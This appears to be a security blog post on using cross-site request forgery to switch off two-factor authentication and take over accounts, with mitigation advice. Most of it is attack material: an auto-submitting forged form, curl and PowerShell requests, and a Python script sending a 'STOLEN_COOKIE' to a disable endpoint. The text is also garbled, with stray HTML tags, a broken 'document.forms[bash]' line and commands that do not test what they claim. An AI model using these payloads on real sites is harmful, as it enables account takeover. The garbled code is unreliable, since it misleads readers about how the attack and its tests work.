CSRF Attack Exploiting 2FA Disablement Leading to Account Takeover

By /

Listen to this Post

Featured Image
Cross-Site Request Forgery (CSRF) vulnerabilities can allow attackers to disable Two-Factor Authentication (2FA) on a victim’s account, leading to potential account takeover. Below is a detailed breakdown of how this attack works and how to mitigate it.

You Should Know:

1. Understanding the CSRF Attack on 2FA

  • Attack Scenario:
  • Victim (Account A) has 2FA enabled.
  • Attacker crafts a malicious CSRF payload to disable 2FA.
  • Victim clicks the malicious link while authenticated, disabling their 2FA unknowingly.

2. Steps to Exploit CSRF on 2FA Disablement

  1. Enable 2FA on a Test Account (Account A).
  2. Intercept the “Disable 2FA” Request in Burp Suite: 
    POST /disable_2fa HTTP/1.1 
Host: vulnerable.com 
Cookie: session=VALID_SESSION 
Content-Type: application/x-www-form-urlencoded </li>
</ol>

confirm=disable

    3. Generate a CSRF PoC Using Burp Suite’s Engagement Tool:
    – Right-click the request → Engagement tools → Generate CSRF PoC.
    – Modify the HTML to auto-submit: 

    <html>
<body>

<form action="https://vulnerable.com/disable_2fa" method="POST">
<input type="hidden" name="confirm" value="disable" />
</form>

<script>document.forms[bash].submit();</script>
</body>
</html>

    4. Test on Account A:

    • If 2FA is disabled without user confirmation, the vulnerability exists.

    5. Verify on Account B:

    • If the same exploit works, the issue is widespread.

    3. Mitigation Techniques

    • Use CSRF Tokens: Ensure all state-changing requests include a unique token.
    • Require Re-Authentication Before Disabling 2FA: 
      Example: Require password confirmation 
POST /disable_2fa HTTP/1.1 
Host: secure.com 
Content-Type: application/x-www-form-urlencoded </li>
</ul>

confirm=disable&password=UserPassword123

      – Implement SameSite Cookies: 

      Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

      4. Linux & Windows Commands for Security Testing

      • Check for CSRF Protection (Linux): 
        curl -X POST -d "confirm=disable" -H "Cookie: session=TEST" http://test.com/disable_2fa -v
      • Test SameSite Cookie Enforcement (Windows PowerShell): 
        Invoke-WebRequest -Uri "http://test.com" -Headers @{"Cookie"="session=123"} -Method POST -Body "confirm=disable"
      • Automate CSRF Testing with Python: 
        import requests 
url = "https://vulnerable.com/disable_2fa" 
cookies = {"session": "STOLEN_COOKIE"} 
data = {"confirm": "disable"} 
response = requests.post(url, data=data, cookies=cookies) 
print(response.status_code)

      What Undercode Say:

      CSRF remains a critical web vulnerability, especially when combined with 2FA bypass techniques. Developers must enforce anti-CSRF tokens, re-authentication for sensitive actions, and strict cookie policies. Ethical hackers should rigorously test 2FA mechanisms during penetration tests.

      Expected Output:

      A working CSRF exploit that disables 2FA without user interaction, highlighting the need for proper security controls.

      Prediction:

      As 2FA adoption increases, attackers will develop more sophisticated CSRF techniques to bypass it. Future web frameworks will likely enforce stricter default protections against such exploits.

      References:

      Reported By: Aminullah Sheikh – Hackers Feeds
      Extra Hub: Undercode MoN
      Basic Verification: Pass ✅

      Join Our Cyber World:

      💬 Whatsapp | 💬 Telegram

Related Posts: